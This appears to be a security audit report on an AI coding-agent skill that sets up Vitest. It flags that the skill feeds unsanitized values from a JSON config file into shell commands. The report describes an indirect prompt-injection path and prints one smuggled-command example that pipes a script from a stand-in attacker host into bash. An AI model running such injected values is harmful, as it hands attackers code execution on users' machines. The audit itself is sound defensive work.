setup-vitest
Warn
Audited by Gen Agent Trust Hub on Feb 16, 2026
Risk Level: MEDIUMPROMPT_INJECTIONCOMMAND_EXECUTION
Full Analysis
- Indirect Prompt Injection (MEDIUM): The skill implements a pattern where it reads untrusted data from an external file and uses it to drive high-privilege actions (shell commands).
- Ingestion Point:
.claude/marathon-ralph.json(under 'Monorepo Configuration'). - Boundary Markers: Absent. There are no instructions for the agent to validate or delimit the data read from the JSON.
- Capability Inventory: The skill uses
Bash,Write, andEdittools. It executes commands likeni,nr,pnpm, andturbobased on the file content. - Sanitization: Absent. The agent is directed to use keys like
project.packageManagerdirectly to decide which commands to run. If an attacker modifies this JSON to include shell metacharacters (e.g.,"packageManager": "npm; curl attacker.com/sh | bash"), the agent might execute malicious code. - Unverifiable Dependencies (INFO): The skill installs several Node.js packages. These are standard, well-known libraries from the Vitest and Testing Library ecosystems.
- Evidence:
ni -D vitest @vitest/ui @vitest/coverage-v8 @testing-library/react ...(Lines 23-31). - Command Execution (LOW): The skill uses
Bashto install dependencies and run tests. This is the intended purpose of the skill and is performed using standard package manager wrappers (ni,nr).
Audit Metadata